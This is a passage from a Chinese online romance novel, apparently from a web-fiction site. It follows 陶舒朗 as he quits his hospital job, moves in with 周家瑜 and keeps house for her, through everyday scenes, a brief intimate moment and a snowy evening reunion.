和周家瑜重逢之前,忙个不停正是他需要的,现在他需要和她在同一个城市,一起生活。 这会一个人不上班无所事事的感觉还蛮好,暂时停下脚步慢下来。 不一会咖啡店的门被打开,有人进来走到自己跟前,周家瑜是快走过来的,脸上还带着运动气喘后的朝气。 眼神亮晶晶的,很好,一天工作后没有什么班味。 咖啡店里很暖和,周家瑜脱掉大衣,陶舒朗站起身,接过她的衣服折起来放好。 周家瑜坐下就开心地打开盒子开始吃黑森林,她吃了第一口满足地眯了眯眼睛,她切了第二口,然后把勺子递到陶舒朗嘴边,他张开嘴吃了下去。 “好吃吗? ” “嗯,不太甜。”是对甜品不错的评价。 “你自己怎么没有点吃的?” “我最近健身要注意饮食啊。” 周家瑜暗自腹诽,平时不是一直都在健身吗,最近有时间又找了专业的健身教练,他这体格再练下去吃亏的肯定是自己。 她发出委婉的抗议,“你现在这样挺好的,我不太喜欢很有肌肉的男生。” 接着又加一句,“薄肌刚刚好。” 陶舒朗知道她的那些小心思,看来最近自己每次来都把她惹得不轻,“不是练肌肉的,是练体力的。” 说完他自己都觉得不对,再看周家瑜果然脸色微变。 “我准备练习长跑。” 为了让她放心,后面又加了一句,“体力消耗很大。” 他其实还想问,她要不要跟着自己一起练增加体能,今天这话是真的不敢问出口了,她不炸毛才怪。 虽然偶尔惹得她炸毛自己心里有种不能告人的阴暗刺激感,但是不能太明目张胆。 对面的人这会在专心吃着蛋糕,嘴角带着一点巧克力屑,陶舒朗抽出纸巾在她嘴角轻轻地沾了沾。 现在他在公共场合,被她喂食,两个人走路的时候勾肩搭背,他现在做起来真的是一点负担也没有,年龄越大越跟着自己的心走,别人的看法尤其是陌生人的看法越来越不重要。 一个人在黑暗中穿行之后自然会知道什么才最重要。 他告诉周家瑜自己刚从景苑回来。 周家瑜也是最近才知道陶舒朗在景苑有一套房子,他最近已经开始把他重要的东西搬到她住的地方,像愚公移山一样,每次来都带一些,有一次她看到购房合同,上面的时间是他们再次见面之后不久。 景苑那边开始准备装修,装修公司是李牧推荐的,他自己的房子用的也是那家装修公司。 等陶舒朗正式离职离开医院,房子就可以开始装修,他都计划好了。 周家瑜刚吃完蛋糕,有点意犹未尽的样子,陶舒朗跟她说一会回家吃饭,这个是饭前小点心,意思是不能再点别的了,以免晚饭吃不下东西。 只要是陶舒朗在江城,做饭都是他的事,一个坚持做饭的人绝对有神性,今天的早饭,周家瑜醒来的时候已经摆在桌子上了。 并且规格还有点犯规,一大早是鳗鱼厚烧三明治,还有芒果三明治,看上去跟店里卖的几乎一模一样。 周家瑜走去厨房,看见陶舒朗穿着居家服,脖子上挂着条暗绿色的围裙,手里拿着勺子正在盛燕麦粥。 他精神好的很。 看见她睡眼惺忪的站在那里,笑着跟她说,“快去洗脸刷牙,一会吃饭。” 周家瑜转身去了卫生间,陶舒朗的声音又从身后传来,“时间不够的话可以在车上化妆。” 男人在深夜里动物性发挥得淋漓尽致,白天又戴上了内敛温和的保护色。 一会让人气得牙痒痒,一会又让人感受到无微不至的照顾。 善变的男人。 喝完咖啡两个人准备走的时候陶舒朗接到一通电话,是关城那边要出手的房子有人想要询价,陶舒朗之前在小区群里发了出售信息。 电话接通后陶舒朗和对方聊了几句就结束了通话,对方跟他约时间看房,他输入对方的电话号码搜了搜微信昵称,然后在小区群里找到了这个人,在群里对方的昵称后面还带着楼栋和单元号。 跟陶舒朗在同一个单元,这种就是比较理想的买家。 车里播着音乐,是周家瑜喜欢的一位歌手,她看了看歌单,切了一首她这会最想听的歌。 有人做饭有人收拾,还车接车送的日子简直不要太爽,不过她也在告诫自己,由俭入奢易,由奢入俭难。 看到她在神游,陶舒朗开车的间隙伸出手指划了划她的脸庞,于是沉浸在自己思绪中的她被带了回来。 他把音乐音量调低,“刚才在想什么,这么出神?” 有人会及时察觉你的短暂出神,这种感觉让人觉得有点毛骨悚然还有点熨帖。 周家瑜告诉他,“我在想你最近把我照顾得很好。” 接着她说,“谢谢你,陶同学。”说完还给他用手指比了一个心。 陶舒朗嘴角弯起来,控制不住的那种,他用力握了握她的手。 “我喜欢照顾你,谢谢你给我这个机会。” 周家瑜眼睛看了看前面的车流,又转头看了看他,他的侧颜映在夕阳中,是说不出的俊逸。 “你不是马上就要失业了吗?我给你找到了一份工作。” 陶舒朗笑,“什么工作?” “我家的内务大总管。”【你现在阅读的是魔蝎小说 moxiexs】 THE END 第42章 第42章雪夜 辞职手续办利落之后,陶舒朗正式从医院离职,他很快就彻底住进了周家瑜的公寓,被许诺的工作也很快就走马上任,内务府(家务)大总管。 现在陶舒朗的每天日常SOP都有买菜做饭,陶舒朗跟她晓之以理,说让她体谅一下自己,自己寄人篱下,做点家务是应该的,刷碗的任务是周家瑜好不容易据理力争过来的,因为她不想彻底变成饭来张口的人。 他们两个对彼此已经算是很熟悉了,就是之前两个人没有彻底同居过,所以彻底搬到一块住后,生活上有不少小细节需要去适应。 那间小小的书房现在几乎全是陶舒朗在用,他做完家务把家里收拾得一尘不染之后就坐在书房里他那台大屏电脑前忙碌。 至于他在忙什么,周家瑜觉得是他的隐私,两个人即使恋人,即使住到一块,但还要有一些边界感,不用事无巨细地要知道对方的一切动态。 厨房冰箱上的便利贴写着今天晚上要吃的菜单,严谨理工男和家庭妇男可以出现在同一个人身上,也可以立即无缝切换。 陶舒朗现在还是很忙,以前是忙工作上的事,现在是忙家里的事,家务还有房子装修,都是自己的事,忙得心甘情愿。 他本来坚持要接送周家瑜上下班,送了几次之后被她婉拒了,因为有一次陶舒朗送她上班,正好被李牧看见了,李牧降下车窗,笑着冲他们两个挥手打招呼,没说话,但调侃的眼神比说话杀伤力还大一些。 陶舒朗无所谓,让他一个单身狗羡慕去好了。 周家瑜觉得他太娇惯自己了,只好搜出地铁路线图,告诉他自己当初租这个小区就是看坐地铁很方便。 快还不堵车。 最后两个人的商量结果是陶舒朗到地铁站口来接,周家瑜坐上地铁就给他发信息,需要加班的时候很少,周家瑜每天几乎都坐固定时间的那班地铁。 后来她加班才需要发信息,不发信息就是老时间,一出站的时候她就会看见陶舒朗站在地铁站出口处路边的法桐下。 现在还是冬天,大树的枝丫光秃秃的,树木默敛,陶舒朗站在路边树下等着自己,周家瑜觉得是要比四月的春日还要让人心动的风景。 陶舒朗最近除了很会养周家瑜之外,把自己养得也很不错,辞职后不用上大夜,吃睡都规律,每天在教练的指导下坚持跑步,还能整天见到周家瑜,精神愉悦,他本来就是冷白皮,最近皮肤状态越来越好,脸随便一洗就出门,皮肤尤其是额头和鼻子像是有自然的高光,很有大学时的风范。 有时候周家瑜就当自己又睡到了青春男大,男大这会穿着一件黑色棉服,里面里一件深灰色的毛衣,他转过身来看到了自己。 陶舒朗眼睛里比年轻时多了一些东西,不是朝气蓬勃的眼神,但比青春男大更动人,他看着周家瑜走到自己面前。 地铁站出口处人多,他每次都站在外面同一个位置等她。 他伸手接过周家瑜的包,周家瑜上前挽住他的胳膊,两个人一起向家里走去。 在十字路口等红绿灯,旁边一个女生牵着一条小狗,周家瑜看到可爱的小动物就迈不动步子,她用手指戳了戳陶舒朗,示意他快点看脚下的小狗。 是一条腊肠,正蹲在那乖乖地和主人一起等。 穿过路口,狗主人走远的时候周家瑜说,“那只小 狗好可爱。” “你想养一只吗?” “想啊,但是不方便,每天没人陪它一起玩。” “嗯,以后有条件我们养一条。” 这时候路边小店飘来一阵烤地瓜的香气,周家瑜带着陶舒朗朝着那家店走了几步,接着摇了摇他的胳膊。 陶舒朗心想,她最近撒娇的招数越来越多,自己都招架不住。 但饭前控制饮食的原则还在,周家瑜竖起一根手指,意思是她只买一个。 陶舒朗当然同意,跟她说,“只要一个小的。” 从干果店里出来,陶舒朗站在路边把地瓜外面的软皮给她拨开,周家瑜举着一次性勺子在旁边等着,剥完他作势张开嘴巴要咬一大口,接着看到旁边人期待的眼神。 “咦,你怎么不吃,到底甜不甜?” 陶舒朗也有一把勺子,他挖了一勺低下头吹了吹然后递到她嘴边。 “你先吃。” 周家瑜张开嘴吃下去,“很甜,又甜又糯的那种。” 两个人你一勺我一勺的在路边一家没开门的小店旁把地瓜吃完了。 陶舒朗因为在控制饮食,本来不想吃的,但是周家瑜一直故意喂给他吃,不吃她就一直举着勺子等着。 陶舒朗吃的心甘情愿,被喂食的感觉比事物本身还要甜蜜。 周家瑜这会在想,吃个烤地瓜最后都能吃出花来,都姿知道应该会嘲笑自己吧。 最近周家瑜整天和陶舒朗在一起,无暇顾及别的,下班就是两个人的世界,即使不在同一个房间内也觉得很安宁。 到家后屋里弥漫着一股饭菜的香味,周家瑜下班前已经知道晚饭要吃什么了,因为大总管把菜单发给她了。 她外套还没脱,陶舒朗正准备脱掉外套,她转身回抱住他,他停住脱衣服的动作,把她抱住,两个人享受这一刻的拥抱。 说出来自己都觉得矫情,白天上班期间见不着,也会想念,别人也是这样吗。 他低头用鼻子去碰触她的鼻头,她的眼睛看着自己,是他喜欢的那种湿漉漉的模样。 周家瑜张开嘴唇,好看的唇形看上去特别有诱惑力,他低头含住她的嘴唇,两个人的舌头自然而然地纠缠到一起。 香甜的气味还在。 眼看拥抱得越来越用力,陶舒朗用了很大的自制力才没把人一把抱起来带进卧室,他有点气喘地结束这个吻,“先吃饭,马上就要好了。” 晚饭是烤三文鱼和大褐菇,主食是粗粮饭。 大褐菇的吃法是李牧推荐的,他之前去英国旅游,早餐其他的食物印象都一片模糊,就这个大褐菇的味道让他惊为天人。 李牧平时工作忙,有时候商务应酬避免不了,他自己住,如果正常下班的话,一有时间他就在家做饭,这几年厨艺练得还不错,之前和陶舒朗是室友,现在可以就厨艺切磋一下。 最近陶舒朗搬到江城来,李牧很开心,在他的畅想中,两个人可以约个饭约个酒什么的,但实际操作起来并不是那么回事。 对方已经变成了二十四孝男朋友,现在每天就是围着周家瑜转,专心致志给女朋友做饭吃,很少出门,约喝酒那是不喝的,告诉李牧自己最近打算戒酒。 李牧气不过,他从员工入职表格中知道周家瑜住哪个小区,立即给陶舒朗同城快递了一箱年份很好的威士忌。 今天晚饭吃三文鱼,配威士忌正好。 杯子用的也是之前李牧送的那一套。 吃晚饭的时候陶舒朗拍了一张照片,不是为了发给李牧看的,而是为了偶尔记录生活中的某一瞬间。 他搬进来不久之后客厅的一面墙上有了照片墙,周家瑜一开始不知道这件事,第二天吃早饭的时候才发现摆设的不同,再看上面贴了几张照片,都是些她不知道的照片。 她去坐高铁前吃冰淇淋的,陶舒朗站在她旁边和她一起看,边看边解说,说她吃得专心致志,像一只认真的小馋猫。 山上民宿仰着头看雪的,还有两个人交换的吴城旅游照片,周家瑜的那张还被手写上美爆两个字。 陶舒朗小时候书法是下过苦工的,他的字在洗出来的照片上有种奇异的美感。 对生活的感知在点滴的细节中。 今天拍的照片是在烛光的那一头,周家瑜喝完威士忌冲他浅笑的模样,拍完照片她又继续和自己面前那盘食物较劲。 陶舒朗看着手里的拍立得照片,她微醺浅笑的模样简直摄人心魂。 周家瑜看他不说话,只低头看手里的照片,她凑上前去,看到他拍的自己,也被震住,“你把我拍得好有感觉。” 她提议,“来,我们拍个合照。” 于是有了第二张照片,两个人靠在一处,周家瑜靠在在陶舒朗怀里,他们手中的酒杯碰在一起,两个人都笑着看着镜头,眼里有星光。 吃完饭周家瑜照例去洗碗和收拾厨房,陶舒朗站在她身旁不走,问她要不要帮忙,周家瑜摆手,一边哼着歌一边继续刷碗,她有时候觉得洗碗让人有种莫名其妙的成就感。 周家瑜哼着歌进了卧室,每天一切都收拾好躺在床上的那一刻最惬意。 陶舒朗正在浴室里洗漱,周家瑜在手机上写备忘录的时候他走了进来。 他的头发因为刚洗完吹干,这会有点凌乱的性感,周家瑜眼睛从手机上移开看了他一眼,接着身前人影一闪,周家瑜手中的手机被抽走,她被人吻住,陶舒朗把她的抗议声吞了进去。 他整个人连同他凌乱的呼吸一起扑到周家瑜身上,微醺让人身心变得肆无忌惮,两个人在一方小天地内很快就绞缠在一起,被侵占的人头微微仰起,像突然离水的鱼寻求氧气。 陶舒朗放过她的下巴,转而又含住了她的耳垂,他太熟悉她的身体,接着用手起触摸她皮肤上的一层战栗。自然引起她更大的反应,她预感到事态即将失控,脑中残存的唯一一丝清明让自己提醒他之前的承诺,发出的声音却被更大的力道撞得语不成调。 卧室的角落里一台加湿器在无声地作业,床上的两个人侧卧面朝着彼此,一起享受着亲密后的余韵和静谧。 “鼻子有没有好一些?” 最近因为天气干冷,室内温度高,周家瑜经常半夜醒来,感觉喉咙发干,陶舒朗做了不少功课买了一台加湿器 “好多了。” 陶舒朗一直看着她,伸出手指轻轻地刮了刮她的鼻尖。 第二天周家瑜出门的时候陶舒朗叮嘱她穿件厚点的外套,天气预报说今天有寒潮天气,可能还会有雨雪。 周家瑜在镜子前涂完口红,抿了抿嘴唇之后到阳台上推开窗,她伸出手去感知温度,确实比昨天冷一点,不过还没到刺骨的程度。 过完年转眼间时间已经到了三月,这个月份寒潮下雨的可能性比较大,周家瑜带了一把雨伞。 陶舒朗拎着她的包站在门口,看着她穿好鞋子,走之前周家瑜问,“你今天要做什么?” “今天去店里看瓷砖。” “嗯,好,随时联络。” “我要走啦,”周家瑜本来想亲他一口,结果上嘴之前才意识到自己已经涂好了口红,陶舒朗侧了侧脸,用手指了指嘴角的位置。 周家瑜欣然印上一吻。 亲完发现他嘴角果然留下了口红印,他却很开心,像得了一枚奖章。 周家瑜今天在班上有点忙,心情从嘻嘻到不嘻嘻,接一个工作单就可以达成,好在工作不急,不用加班完成。 她在敲击键盘的声音中听到旁边同事兴奋和惊讶的声音,“哇,下雪啦!” 周家瑜站起身来走到窗前,外面天色昏沉,仔细一看雪片正纷纷扬扬地落下,贴在玻璃上好像能听到雪粒打在窗棱上的声音。 旁边有人科普,“据说是借着寒潮人工降雪。” 周家瑜坐电梯下楼的时候想起包中的雨伞,她突然想到陶舒朗,这个天气不知道他到家没有。 还有今天下雪,坐地铁的人会不会很多。 她沿着人行道向地铁口走去,走着走着突然周围一亮,路灯开了,路灯亮起的时刻周家瑜经历过不少次,但每次路灯亮起的那一瞬间,都像礼物一般。 她这会感觉轻松又快乐,突然她的脚步顿住。 在不远处的路灯下,周围是洋洋洒洒的雪,有个人等在那里。【你现在阅读的是魔蝎小说 moxiexs】